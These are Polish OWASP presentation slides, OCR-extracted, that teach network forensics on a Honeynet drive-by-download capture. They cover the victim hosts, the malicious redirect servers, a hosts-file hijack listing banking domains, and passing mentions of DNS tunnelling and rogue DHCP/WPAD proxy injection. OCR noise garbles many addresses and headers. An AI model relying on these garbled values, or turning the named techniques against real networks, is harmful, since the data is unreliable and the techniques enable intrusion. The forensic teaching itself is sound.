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Zamiast agendy

B Kontynuacja tematow z poprzedniego spotkania
» Bedziemy badac malware, atak drive-by download
» Spojrzenie z perspektywy ruchu sieciowego
» Podobna technika dla innych incydentow
B Network Forensic — dlaczego na OWASP?
» Nie ma oprogramowania idealnego

» Incydenty nalezy zbadac, zwtaszcza te (nie)udane
* Im wiecej zrodet informacji, tym lepiej
— Ruch sieciowy zawiera WSZYSTKIE informacje
» Dobrze wiedzie¢ jak TO dziata
= Aplikacja » HTTP -» TCP - IP » Ethernet

= W przypadku zainteresowania tematem bezpieczenstwa Q
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The 20 Coolest Jobs in Information Security

*  #1 Information Security Crime Investieator/Forensics Expert The 20 Coolest Jobs
in Information Security
st How They Make o Difference

& #1 System, Metwork, and/or Web Penetration Tester
+  #3 Forensic Analyst

#4 Incident Responder

*  #8 Security Architect

*  #6 Malware Analyst

+  #I Metwork Security Engineer

*  #B Security Analyst

Il

+  #9% Computer Crime Investigator
«  F10 CISO/150 or Director of Security

+  #11 Application Penetration Tester

+  #12 Security Operations Center Analyst

*  #13 Prosecutor Specializing in Information Security Crime
+  #14 Technical Director and Deputy CIS0

#15 Intrusion Analyst

+  #16 Yulnerability Researcher/ Exploit Developer
o #17 Security Auditor Get a free copy by attending a
live SAMNS training event.

How to Order:

If you wish to order a copy of the
brochure, please click here.

!

¢ #18 Security-savwy Software Developer

¢ #19 Security Maven in an Application Developer Organization ’
Know a better job?

o #210 Disaster Recovery/Business Continuity Analyst/Manager
Write us at cooljobs@sans.org
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Co bedziemy robic

B Ogolne zapoznanie sie z sytuacjg

B Identyfikacja klientow i serwerow

B \Vizualizacje ruchu w trakcie incydentu

B Identyfikacja elementow ataku

B Odzyskiwanie plikow z ruchu sieciowego
B \Wybrane fragmenty z bliska

B Ogolne spojrzenie na kazdy z przypadkow




Gosc specjalny: Przykiadowy incydent

m Zrédto: Honeynet Project Challenges
» Forensic Challenge 2010 - browsers under attack

B Kilka zatozen na poczatek
» Nie rozwigzujemy zadania (odpowiedzi na pytania)
» Staramy sie okresli¢ co sie stato, kto i jak atakowat
» Zaktadamy, ze nie wiemy (prawie) NIC

B Prezentacja to tylko przyktad
» Mozna sprobowac innego podejscia

» Mozna skorzystac z innych (lepszych?) narzedzi
* Narzedzie nie zniweluje braku wiedzy!




Gdzie jestesmy

B Ogolne zapoznanie sie z sytuacja

B Identyfikacja klientow i serwerow

B \Vizualizacje ruchu w trakcie incydentu

B Identyfikacja elementow ataku

B Odzyskiwanie plikow z ruchu sieciowego
B \Wybrane fragmenty z bliska

B Ogolne spojrzenie na kazdy z przypadkow




Krok 1: Statystyka

i Wireshark: Protocol Hierarchy Statistics

i Wireshark: Summary “'.- -
File
Mame: Khnetwork-forensic-presentati
Length: 305902 bytes
Format: Wireshark/tcpdump/... - libpca

Encapsulation:
Packet size limit:

Time
First packet:
Last packet:
Elapsed:

Ethernet
65535 bytes

2010-01-01 01:00:29
2010-01-01 01:04:20
00:03:50

a1

. e B

Protocol
= Frame
= Ethernet
= Internet Protocol
= User Datagramn Protocol
Bootstrap Protocol
MetBIOS Mame Service
= MetBIOS Datagram Service
= SME (Server Message Block Protocol)
= 5MEB Mailslot Protocel
Microsoft Windows Browser Protocol
Dornain Mame Service
Internet Group Management Protocaol
Internet Control Message Protocol
= Transmissien Control Protocol
= Hypertext Transfer Protocol
Line-based text data
Media Type
Compuserve GIF
JPEG File Interchange Format

Address Resolution Protocol

% Packets

100,00 %
100,00 %

Display filter: none

9732 %

20,94 %

215 %

10,74 %

6,04 %

6,04 %5

6,04 %

6,04 %

2,01 %

1,07 %
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1,07 %

Packets Byt
745 29

745 29
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Krok 2: Endpoints

IPvd Endpoints
Address Packets Bytes TwPackets © TuBytes RxPackets FRuBytes Latitude Longitude
100415 317 152357 157 24986 1&0 127311 - -
100,315 269 108021 14é 21375 123 86646 - -
1921685652 175 106126 97 95755 78 9371 - -
04.236114.1 130 92918 79 88520 5 4398 - -
10.0.215 96 20146 &0 9914 36 10232 - -
1921685650 113 30110 58 20007 55 10103 - -
1921685651 74 19375 44 8720 30 9855 - -
100515 43 10122 34 432 9 5490 - -
2098522799 18 7229 9 5535 9 1694 - -
0.0.0.0 g8 2840 8 2840 0 0 - -
7412577102 18 3068 8 1138 10 1930 - -
19216811 15 1795 7 1174 g8 621 - -
100.2.2 4 1344 4 1344 0 0 - -
10032 4 1344 4 1344 0 0 - -
7412577101 9 1534 4 568 5 985 - -
10.04.2 4 1344 4 1344 0 0 - -
10052 4 1344 4 1344 0 0 - -
20985227106 8 1414 3 585 5 819 - -
20985227100 8 1133 3 350 5 783 - -
255.255255.255 8 2840 0 0 g8 2840 - -
10.0.2.255 25 3/IS 0 0 25 3875 - -
2240.0.22 16 1136 0 0 16 1136 - -
10.0.3.255 37 512 0 0 37 572 - -
10.0.4.255 38 5970 0 0 38 5870 - -
10.0.5.255 25 3/IS 0 0 25 3875 - -




Krok 3: Conversations - TCP

TCP Conversations: 25

Address A Port A  AddressB PortB Packets Bytes Packets A-=B Bytes A-=B  Packets A<-B | Bytes A<-8 Rel Start - Duration | bps A->B  bps A<-B

10.0.2.15 192.168. 56. 30

10.0.2,15 1064 192.168.56.52 80 15 4264 7 1291 g 2973 8.627391000 70053 474,32 3395,17
10.0.2,15 1065 192.168.56.50 80 11 1660 6 n7 5 863 8.658106000  6,9713 914,61 990,35
10.0.2,15 1066 192.168.56.50 80 11 1B61 6 798 5 863 8.659103000  6,9706 915,85 990,45
10.0.3.15 1080 192.168.56.50 &0 30 10934 14 24941 16 83493 38.890744000 16,6601 117214  4078,25
10.0.3.15 1081 192.168.56.52 80 50 34877 21 2507 29 32370 39.125730000 16,4249 122107  15765,27
10.0.3.15 1082 192.168.56.50 80 10 1459 & 650 4 309 39.175690000 16,3751 317,56 385,23
10.0.3.15 1085 04.236.114.1 80 40 30738 16 1332 24 29374 43.703074000 11,1473 9030,70  204826,40
10.0.3.15 1086 74,125, 77,101 &0 9 1534 5 955 4 369 45.273055000 22,4047 344,57 203,17
10.0.3.15 1087 ©4.230.114.1 &0 4 236 1 [ 3 174 49,325412000 20,8881 MfA 66,65
10.0.3.15 1083 209.85.227.106 80 8 1414 5 819 3 595 56.457744000 11,2231 583,80 424,13
10.0.3.15 1089 209.85.227.99 80 18 7229 9 1694 9 5535 56.618802000 11,0604 122528  4003,49
10.0.3.15 1090 209.85.227,100 80 8 1133 5 783 3 350 57.204920000 10,4210 601,09 268,09
10.0.3.15 1091 192.168.56.50 &0 25 733 1 2548 14 4790 60.158309000 77,5298 2707,10 5089,10
10.0.3.15 1092 192.168.56.52 80 11 2407 & 1067 5 1340 60.350531000 73477 1161,72  1453,95
10.0.4.15 1106 192.168.56.51 80 37 10787 15 4518 22 5269 96.861934000 18,5268 1950,90 270700
10.0.4.15 1107 192.168.56.51 80 37 8588 15 5137 22 3451 97.020330000 18,3673 223743  1503,09
10.0.4.15 1108 192.168.56.52 &0 il 45733 28 3183 38 425350 97.212640000 60,0004 424,40 5673,29
10.0.4.15 1111 54.2306.114.1 &0 41 30844 16 1416 25 29428 100,982015000 1,2116 9349,90 194314,13
10.0.4.15 1112 74,125.77.102 80 9 1534 5 965 4 569 106.789581000 60,2424 128,15 75,56
10.0.4.15 1114 192.168.56.52 80 23 14226 11 850 12 13376 157.240559000 15,0547 451,69 7107,95
10.0.4.15 1117 64.236.114.1 80 42 30904 17 1476 25 29428 161.736053000 3,6802 3208,52  ©63970,31
10.0.4.15 1113 7412577102 80 9 1534 5§ 955 4 569 166.394352000 11,5652 667,52 383,60
10.0.4.15 1119 64.236.114,.1 80 3 178 1 =24 2 116 176.102951000 &,8706 A 135,07
10.0.5.15 1135 192.168.56.52 80 10 4619 5 473 5 4145 214,530833000 0,0810 46711,44  409441,04
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Krok 3: Conversations - UDP

UDP Conversations: 15

Address &  Port A | Address B PortB Packets | Bytes Packets A-=B  Bytes A->B  Packets A<B Bytes A<-B Rel Start - Duration |
255.255,255.255 3 1

10,0.2.15 63 10.0,2.2 67 2 1180 0 0 2 1180 0.000268000 00,0039 !
10,0.2.15 137 10.0,2.255 137 16 1760 16 1760 0 0 2.403349000  8,3166

10.0,2,15 138 10.0.2.255 138 9 2115 9 2115 0 0 11.463994000 9,0181

10,0.3.15 63 10.0.3.2 67 2 1180 0 0 2 1180 29.975923000 0Q,0025 !
10.0,3.15 137 10.0.3.255 137 29 2640 29 2640 o] o] 32,599067000 24,3400 ¢
10,0.3.15 138 10.0,3.255 138 13 3072 13 3072 0 0 41644466000 16,8491
10,0.3.15 1029 192.168.1.1 33 11 1384 6 4561 5 903 42,402365000 14,8588 .
10,0.4.15 63 10.0.4.2 67 2 1180 0 0 2 1180 85, 108667000 0,0023 !
10,0.4.15 137 10.0.4.255 137 24 2640 24 2640 0 0 87.8388971000 24,4428 &
10.0,4,15 138 10.0.4.255 138 14 3330 14 3330 o] o] 96.899579000 75,2107
10,0.4.15 1029 192,168.1.1 33 4 431 2 160 2 271 100,975528000 5,8123 p
10.0.5.15 &8 10.0.5.2 67 2 1180 a o] 2 1180 210.320449000 0,0013 i
10,0.5.15 137 10.0.5.255 137 16 1760 16 1760 0 0 212,517979000 38,2822 ]
10,0.5.15 138 10.0.5.255 138 9 2115 9§ 2115 0 0 221,554065000 29,0123

OWASP e 10




Czego sie dowiedzielismy

B Gidwna aktywnosc na porcie 80 (HTTP?)
W \Warto tez rzucic okiem na:
» DNS (wykorzystywany jako C&C)

= Wykorzystanie tunelowania
— Po/w protokole DNS
— Po prostu po porcie 53

* Doskonata metoda na ptatne hotspoty

» DHCP (Rouge DHCP Servers)

* Podmiana serweréw DNS (DNSChanger)
= Wstrzykniecie” wrogiego serwera proxy (moj pomyst :P)
— WPAD, DHCP opcja 252

» Wszelkie odchylenia od ,normy”

011




Jakie sieci?

m10.0.2/24, 10.0.3/24, 10.0.4/24, 10.0.5/24
» 10.0.x.2, 10.0.x.15 — na podstawie DHCP

W192.168.1.1 — serwer DNS
W 192.168.56/24 - ?7?
» 192.168.56.50, 192.168.56.51, 192.168.56.52

W 209.85.128.0/17 - GOGL
» 209.85.227.99, 209.85.227.100, 209.85.227.106

HM64.236.114.1 - www.honeynet.org

W /4.125.0/16 - GOGL
» 74.125.77.101, 74.125.77.102

912




Czy mozemy cos wykluczyc?

B Niektore adresy sq ,bardziej ryzykowne”
» Domeny typu *.cn, *.ru
» Sieci nalezace do ,.egzotycznych” krajow
» Adresy ,,przypominajgce” inne (phishing?)

B nne adresy/sieci sq bardziej zaufane

B Zaufane, ale nie znaczy ,pewne”

» Moze zostac osadzony ,wrogi skrypt”
= SQLi
= XSS

» Nie mozna zakfadac, ze ,,znana” strona nie zaraza

®




Gdzie jestesmy

B Identyfikacja klientow i serwerow

B \Wizualizacje ruchu w trakcie incydentu

B Identyfikacja elementow ataku

B Odzyskiwanie plikow z ruchu sieciowego
B \Wybrane fragmenty z bliska

B Ogolne spojrzenie na kazdy z przypadkow
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Gdzie sa klienci?

B Klienci == ofiary

» W zasadzie to juz wiemy (Conversations - TCP)
B Sprobujmy znalez¢ ich przez DHCP

» Przy okaz

| mozna sie coS o0 nich dowiedziec

1 0. 000000 4] 255.255.255. Dlscover Transaction )
2 0.000268 1{} {} 2 2 10.0.2. 15 DHCP DHCP offer - Transaction ID Oxe:
3 0.004045 0.0.0.0 255.255.255. 255 DHCP DHCP Request - Transaction ID Oxe:
4 0.004189 10.0.2.2 10.0.2.15 DHCP DHCP ACK - Transaction ID Oxe:
Q. 976670 . . c / Transaction X
103 29.976923 1{}.-:}.3.2 10.0. 3. 15 DHCP DHCP offer - Transaction ID 0x9t
104 29,.979319 0.0.0.0 255.255.255. 255 DHCP DHCP Request - Transaction ID Ox9t
105 29.979435 10.0.3.2 1{}.{}.3.15 DHCP DHCP ACK - Transaction ID 0x9t
6 B G . D1 sCcover Transaction %14
377 85.108667 1{}.1‘.}.4.2 10. {} 4. 15 DHCP DHCP offer - Transaction ID Ox1¢
378 B5.110845 0.0.0.0 255.255.255. 255 DHCP DHCP Request - Transaction ID Ox1:
379 B5.110996 10.0.4.2 10.0.4.15 DHCP DHCP ACK - Transaction ID 0Ox1:
98 . 279953 0.0, . . . D1scover Transaction
699 210.320449 10.0.5.2 10.0.5.15 DHCP DHCP offer - Transaction ID Ox9¢
700 210.321648 0.0.0.0 255.255.255. 255 DHCP DHCP Request - Transaction ID Ox9¢
IF addresz M ac addreszs DHCF 05
+ _‘5 10.0.2.15 08:00:27-91:FD:44 Windows XP [24]: Windows XP 5P3 [14]: Windows Vi__.
+ 210022 52:54:00:12:35:00
- 2 10.0.2.2 52:54:00:12:35:02
+ _é 10.0.3.15 08:00:27-BA:0B:03 Windows XP [24]: Windows XP 5P3 [14]: Windows Vi__.
+ _‘5 10.0.4.15 08:00:27-A1:5F:BF Windows XP [24]: Windowsz XP 5P3 [14]: Windows Vi__.
2 g

10.0.5.15 08:00:27-CD-3D:55% Windows XP [24]: Windows XP 5P3 [14]: Windows Vi__. Q




Gdzie s klienci — inny sposob

B Klienci fgczg sie z serwerem

B \Wystarczy znalezC zrodta pofaczen na port 80

» Pierwszy element 3-way handshake
= SYN -> SYN/ACK -> ACK
» Wireshark i display filter:
* tcp.flags == 0x2 and tcp.dstport == 80
* (tcp.flags == 0x2 or tcp.flags == 0x12) and tcp.port == 80
* http.request <- jeszcze inny sposob
» Lista klientow:
= 10.0.2.15, 10.0.3.15, 10.0.4.15, 10.0.5.15

OWASP e 16




Ciekawostka — kiedy klienci byli aktywni




Gdzie sq serwery

P REYUESLY Dy JEVEL AUUIESS o= WUUIUD LU, o
B HTTP Requests by HTTP Host 63 0,000306 100,00%
= rapidshare.com.eyu32.ru 19 0,000092 3016%
192.168.56.50 19 0,000092 100,00%
= sploitme.com.cn 15 0000073 23.81%
192168 5652 15 0,000073 100,00% .
= www.honeynet.org 3 0000015 4.76% :
64.236.114.1 E 0,000015 100,00%
= www.google-analytics.com 3 0000015 4,76%
7412577101 1 0,000005 33,33%
7412577102 2 0,000010 66,67%
= www.google.com 1 0,000005 1,59%
209,85.227 106 1 0,000005 100,00% ELUI-FER%E Mﬁm
= www.googlefr 2 0000010 317% IN THE 192.168/16 BLOCK!
209,585,227 .99 2 0,000010 100,00%
= clientsl.geoglefr 1 0,000005 1,59%
209,85.227.100 1 0,000005 100,00%
= shop.honeynet.sg 19 0,000092 3016%
1921685651 19 0,000092 100,00%

http://xkcd.com/742/
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Zagadka — czego brakuje na tym obrazku?

Source Destination Protocol Info
1 standard A www. honeynet. org
10.0.3.15 192.168.1.1 DNS standard query A www.honeynet.org
10.0.3.15 192.168.1.1 DNS Standard query A www.google-analytics.com
10.0.3.15 192.168.1.1 DNS standard query A www.google.com
10.0.3.15 192.168.1.1 DNS standard query A www.google. fr
10.0.3.15 182.168.1.1 DNS standard query A clientsl.google.fr
10.0.4.15 192.168.1.1 DNS standard query A www.honeynet.org
10.0.4.15 192.168.1.1 DNS standard query A www.google-analytics. com
= rapidshare.com.eyu32.ru 19 0000092 3016%
192.168.56.50 19 0000092 100,00%
= sploitme.com.cn 15 0000073 23.81% i
L]
192.168.56.52 15 0000073 100,00% i
= www.honeynet.org 3 0,000015 4.76% :
64.236.114.1 3 0,000015 100,00% "
= www.google-analytics.com 3 0000015 4,76% i
| 74.125.77.101 1 0,000005 33,33%
| 7412577102 2 0000010 66,67% b
| B
I = www.google.com 1 0000005 1,59% i
209.,85.227.106 1 0,000005 100,00% )
= www.googlefr 2 0000010 317% -
209.,85.227.99 2 0000010 100,00% -
"l = clientsl.googlefr 1 0,000005 1,59%
209.85.227.100 1 0,000005 100,00%
= shop.honeynet.sg 19 0000092 3016%
" 192.168.56.51 19 0000092 100,00%
' HTTP Responses by Server Address 63 0,000306 OWASP e




Gdzie sq zapytania DNS?

B Brak zapytan DNS o adresy (tez jest Sladem!)
» rapidshare.com.eyu32.ru
» shop.honeynet.sg
» sploitme.com.cn

B Prawdopodobnie zmodyfikowany plik Hosts

» Kto i dlaczego dokonat modyfikacji
* Tu - prawdopodobnie na potrzeby przyktadu
= Malware czesto modyfikuje plik Host
— Blokowanie dostepu

» Samoobrona - aktualizacje, narzedzia, konkurencja
— Ale nie tylko w tym celu...

® »




PWS-Banker.y'hosts

Symptoms -

Please note that spaces have been added to the URLs below and the IP addresses have been
substituted for a.b.c.d

onlineaccounts?  abbeynational .co.uk
wywwd . aibgbonline. co.ul

www bank. alliance-leicester.co.uk
login.iblogin. com

ww? . bankofscotlandhalifax—online. co.ouk
inet barclavs.co.uk

iibank barclawvs. co. uk

iibank  cahoot  com

wywd  coventrvbuildingsociety . co.uk
ww hs=bo. co.ul
login.ebanlk  of f=shore h=bo oo je

wiwd . online-offzhore. llovd=st=h. con
wiyd online-buziness. llovd=st=h. co. uk
wiwd . online. lloyd=stsh. co. ouk

ob2 nationet . comn

wwi . onlinsbanking . natwestoffshore. con
wwl .nwolb. con

wwl .onlinebanlking. iombanl . con

wwl .www .rbzdigital. con
welcome . =nile . co.ul

login. 36Sonline . com

www . citizensbanlkonline . con
eSecure . regjionshet  com

rollb. azzociatedbanl . con

uph. unionplanters. comn

wiw onlinebanking huntington. comn

[ e e o e e o e e A o
onooooonoooooooooooooonoononinin
AAARARALAALAAAARARAAARAARARARAAAAAR DA A AR DA R

L v v v L v v 1 T U ]
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Co juz wiemy

B Klienci

» 10.0.2.15, 10.0.3.15, 10.0.4.15, 10.0.5.15
B, Dziwne” serwery, brak zapytan DNS

» rapidshare.com.eyu32.ru

» shop.honeynet.sg
» sploitme.com.cn

B Bezpieczne” serwery

» Pozostate (Google, Honeynet)
* Przynajmniej na potrzeby prezentadji

OWASP e 29




Gdzie jestesmy

B Wizualizacje ruchu w trakcie incydentu
B Identyfikacja elementow ataku

B Odzyskiwanie plikow z ruchu sieciowego

B \Wybrane fragmenty z bliska

B Ogolne spojrzenie na kazdy z przypadkow

OWASP e 23




Ciekawostka: Wizualizacje

B Netgrok
» http://www.cs.umd.edu/projects/netgrok/
B \Vizualizacje
» Petnego zrzutu ruchu
» Aktywnosci poszczegolnych klientow (ofiar)
» Informacje o sieciach trzeba podac
B Czy to sie do czegos przydaje
» Na slajdach wyglada niezbyt ciekawie

» Troche lepiej sprawdza sie na komputerze
= Identyfikacja ,gtosnych” weztdw w sieci

024



http://www.cs.umd.edu/projects/netgrok/

Wizualizacja 1 - catosc

OWASP 0 25




Wizualizacja 2 - 10.0.2.15




Wizualizacia 3 - 10.0.3.15




Wizualizacja 4 - 10.0.4.15




Wizualizacja 5 - 10.0.5.15
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Gdzie jestesmy

B Identyfikacja elementow ataku

B Odzyskiwanie plikow z ruchu sieciowego
B \Wybrane fragmenty z bliska

B Ogolne spojrzenie na kazdy z przypadkow




Jak klient trafia na strone

GET /login.php HTTP/1.1
Host: rapidshare.com.eyu32.ru

User-agent: Mozillas5.0 (windows; U; windows WNT 5.1; en-uUS; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
Accept: text/html, application/xhtml+xml, application/xml;qg=0.9,*/%;q0=0.8

ACCept-Language: en-us,en;g=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;0=0.7,%;0=0.7

Keep-Alive: 300

Connection: keep-alive

GET /login.php HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeq. application/x-shockwave-flash, =/*
Accept-Language: en-us

Accept-Encoding: ?zip, deflate

User-agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; sv1)

Host: rapidshare. com.eyu32.ru

Connection: Keep-aAlive

GET /catalog/ HTTP/1.1

Accept: image/qgif, image/x-xbitmap, image/jpeg, image/pjpeg. application/x-shockwave-flash, #/*%
Accept-Language: en-us

Accept-Encoding: ?zip, deflate

User-agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; s5v1)

Host: shop.honeynet.sg

Connection: Keep-aAliwve

GET /fg/show.php HTTR/1.0

User-Agent: Mozilla/5.0 (*11; U; Linux 1686; en-uU5; rv:l.6) Gecko/20040614 Firefox/0.8
ACcept: */%

HosT : SQWDitmE.cum.;ﬂ
Connection: Keep-Alive




A jak trafia na sploitme.com.cn

GET /?click=3febSagb2f HTTP/1.1
Host: sploitme. com.cn

User-agent: Mozilla/5.0 (Windows; U; windows NT 5.1; en-uUs; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
Accept: text/html,application/xhtml+xml, application/xml;qg=0.9,*/%;q=0.8

ACCepr-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;0=0.7,%;0=0.7

Keep-Alive: 300

Connection: keep-alive

rReferer: http://rapidshare.com.eyu32.ru/login.php

GET /?c1ick=84c090bd86 HTTP,/1.1

Accept: image/qgif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, #*/%
rReferer: http://shop.honeynet.sg/catalog/

Accept-Language: en-us

Accept-Encoding: ?zip, deflate

User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 5v1)

Host: sploitme. com.cn

Connection: Keep-Alive

Po nagtowku Referer mozna ustali¢ gdzie nastepuje przekierowanie
Tam nalezy szukaC osadzonego ,wrogiego” skryptu




I co sie dzieje na sploitme.com.cn?

GET /?click=3feb5a6b2f HTTP/1.1

Host: sploitme.com.cn

User-agent: Mozilla/5.0 (wWindows; U; windows NT 5.1; en-uU5; rv:1.9.1.3) Gecko/20090824 Firefox,/3.5.3
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/%;g=0.8

ACCept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;9=0.7,%;0=0.7

Keep-aAlive: 300

Connection: keep-alive

rReferer: http://rapidshare.com.eyu32.ru/login.php

HTTP,/1.1 302 Found

Date: Tue, 02 Feb 2010 19:05:12 GMT

server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntud4.6 with Suhosin-ratch
¥-Powered-By: PHP/5.2.6-2ubuntu4.6

Cache-Control: no-cache, must-revalidate

Expires: Sat, 26 Jul 1997 05:00:00 GMT

Location: http://sploitme.com.cn/fg/show. php?s=3feb5aéb2f
vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 20

Keep-Alive: Timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

.................... GET /fq/show.php?s=3feb5agb2f HTTP/1.1

Host: sploitme. com.cn

User-agent: Mozilla/5.0 (windows; U; wWindows NT 5.1; en-uUS; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
Accept: text/html, application/xhtml+xml, application/xml;qg=0.9,*/%;q=0.8

ACCepT-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;g=0.7,%:q=0.7

Keep-Alive: 300

Connection: keep-alive

rReferer: http://rapidshare.com.eyu32.ru/login.php
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I kolejna wizualizacja

B Jak wyglada sekwencja zdarzen

» Zbudowanie drzewa odwotan
= Na podstawie zadan klienta
= W oparciu o nagtéwek Referer

» Do wizualizacji postuzy
= Tshark
= Python
* Graphiz

» A rezultat(y) wygladajg mniej wiecej tak
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Wizualizacja dia 10.0.2.15

8.384933000

\

8.536626000

v

8.615586000

v

8.656272000

v

8.656343000

v

8.776253000

\

8.777437000

v

8.780768000

v

8.980236000
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Wizualizacja dla 10.0.3.15 (fragment)

38.903281000

\

38.971237000

\

39.132294000

\

39.169952000

v

39.171463000

v

39.291056000

\

39.292483000

\

39.293819000

v

40.406864000

v

40.507012000
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Kolejne podsumowanie zebranych informacji

B Jak klient trafia na strone
» Wpisanie adresu URL w pasku
» Klikniecie w mailu (phishing)
B Gdzie ukryty jest ,wrogi” kod
» Docelowe przekierowanie na sploitme.com.cn

» A przekierowuje z
* rapidshare.com.eyu32.ru
= shop.honeynet.sg




Gdzie jestesmy

B Odzyskiwanie plikow z ruchu sieciowego
B \Wybrane fragmenty z bliska
B Ogolne spojrzenie na kazdy z przypadkow




Przydatne narzedzie: Network Miner

B Network Miner - Network Forensic Analysis Tool
» http://networkminer.sourceforge.net/
» Niestety(?) — aplikacja dla Windows

m\V tym przypadku wykorzystany do:
» Odzyskiwania plikébw z HTTP

» Mozna rowniez uzyskac informacje o hostach
= System operacyjny, nawigzywane sesje
* Odpytywane nazwy DNS, WINS,

» Mozna uzyskac w inny sposob (Wireshark)
= Z Network Miner bywa wygodniej :)
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http://networkminer.sourceforge.net/

Przykiad: Informacje 0 10.0.2.15

=% 10.0.2.15 [8fd12edd2dc 1462] [8fd12edd2dc 1462 ] [8FD12EDD2DC1462] (Windows)
IP:10.0.215
? MAC: 020027951 FD44 (Unknown)
Hostname: 8d12edd2dc 1462, Bd12edd2dc1462., BFD12EDD2DC1462
=% 0S: Windows
Ettercap: Windows P Pro, Windows 2000 Pro (100.00%)
plf: Windows XP SP1+, 2000 5P3 (100,00%)
Sator DHCP: Windows - Windows XP (22,22%) Windows - Windows 7 (11,11%) Windows - Windows 2000 (11,11%) Windows - Windows (11,11%) Windows - Windows 98 SE (11,11%) Windows - Windows
Sator TCP: Windows - Windows XP ({100,00%)
TTL: 128 (distance: )
Open TCF Ports:
>
¢m Received: 36 packets (3 723 Bytes), 0,00% cleartex (0 of 0 Bytes)
Incoming sessions: 0
=4 3 Outgoing sessions: 4
= Server: 192.168.56.50 [mpidshare.com eyu32 ru] (FreeBSD) TCP 80
Server: 192.168.56.50 [rapidshare .com.eyu32.n] (FreeB5D) TCP 80 (3429 data bytes sent), Client: 10.0.2.15 [3d12edd2dc1462] [d12edd2dc 1462 ] [BFD12EDD2DC1462] (Windows) TCP 1063 (217
Server: 192.168.56.50 [rapidshare com.eyu32.n] (FreeBSD) TCP 20 (589 data bytes sent), Client: 10.0.2.15 [8d12edd2dc1462] [8fd 12edd2dc1462 ] [BFD12EDD2DC1462] (Windows) TCP 1066 (442 d
Server: 192.168.56.50 Jrapidshare com.eyu32.w] (FreeBSD) TCP 20 (589 data bytes sent), Client: 10.0.2.15 [8d12edd2dc1462] [8fd 12edd2dc1462.] [BFD12EDD2DC1462] (Windows) TCP 1065 (441 d
= Server: 152168 56 52 [sploitme com cn] (FreeBSD) TCP 20
Server: 192 168 56.52 |sploitme com cn] (FreeBSD) TCP 80 (2537 data bytes sent), Client: 10.0.2.15 [Bfd12edd2dc1462] [8d12edd2dc1462 ] [BFD12EDD2DC1462] (Windows) TCP 1064 (881 data byt
=2 Host Detais
Quered NetBIOS names : 8FD12EDDZDC1462 WORKGROUP WORKGROUP<1E=
Web Browser User-Agent 1 : Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5.1.3) Gecko/20050824 Firefox/3.5.3
DHCP Vendor Code 1 : MSFT 5.0
Default Gateway : 10.0.22
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Przykiad: Informacje o sploitme.com.cn

= j 152.168.56.52 [sploitme.com.cn] (FreeBSD)
IP: 152.168.56.52
? MAC: 525400123502 (Unknown)
Hostname: sploitme.com.cn
= $ 05:FreeBSD
Bitercap: FreeBSD 4.5 (100.00%)
plf: Tru64 5.0 (2) (100.00%)
TTL: &4 (distance: 0)
Open TCP Ports: 80 (Hitp)
o Sent: 97 packets (35 357 Bytes), 0.00% clearted (0 of 0 Bytes)
¢ Received: 78 packets (7 337 Bytes), 0.00% cleartext (0 of 0 Bytes)
i/ Incoming sessions: 6
=l Server: 192.168 .56 .52 [sploitme com.cn] (FreeBSD) TCF 80

Server: 192,158 56 52 [sploitme com cn] (FreeBSD) TCP 80 (2537 data bytes sert), Client: 10.0.2.15 [¥d12edd2dc1452] [%d12edd2dc 1462 ] [8FD12EDD2DC1462] (Windows) TCP 1064 (381 data br
Server: 192.158.56 52 [sploitme.com.cn] (FreeBSD) TCP 80 (30800 data bytes sert), Cliert: 10.0.3.15 [3d122dd2dc 1462] [%d12edd2dc 1462 ] [8FD12EDD2DC1462) (Windows) TCP 1081 (1263 datz
Server: 192.168.56.52 [sploitme.com.cn] (FreeBSD) TCP 80 (1066 data bytes sert), Client: 10.0.3.15 [¥d12edd2dc1452] [3d12:dd2dc 1462.] [8FD12EDD2DC1462] (Windows) TCP 1092 (717 data br
Server: 192.168.56.52 [sploitme .com.cn] (FreeBSD) TCP 80 (40494 data bytes sert), Cliert: 10.0.4.15 [5d122dd2dc 1462] [8d12edd2dc 1462 ] [3FD12EDD2DC1462] (Windows) TCP 1108 (1531 date
Server: 192,158 56 52 [sploitme com cn] (FreeBSD) TCP 80 (12724 data bytes sert), Client: 10.0.4.15 [%d12edd2dc 1462] [%d12edd2dc 1462 ] [8FD12EDD2DC1462) (Windows) TCP 1114 (194 data |

Server: 152.168 56 .52 [sploitme .com.cn] (FreeBSD) TCP 80 (3872 data bytes sert), Client: 10.0.5.15 [8fd12edd2dc1462] [8fd12edd2dc1462.] [BFD12EDD2DC1462] (Windows) TCP 1135 (177 data br
Qutgoing sessions: 0

=] Host Details
Web Server Banner 1: TCP 80 : Apache/2 2.9 (Ubuntu) PHP /5.2 &-2uburtud .6 with Suhosin-Patch

- B
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Przykiad: Odzyskiwanie plikow

Hosts (35) | Frames (74} | Files (28) | Images (3) | Messages | Credentials (7) | Sessions (23) | DNS (32) || Parameters (101) | Keywords | Cleartest | Anomalies

Frame nr.
25
35
41

Reconstn...

FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...

FAOWASP...
FAOWASP...
FAOWASP...
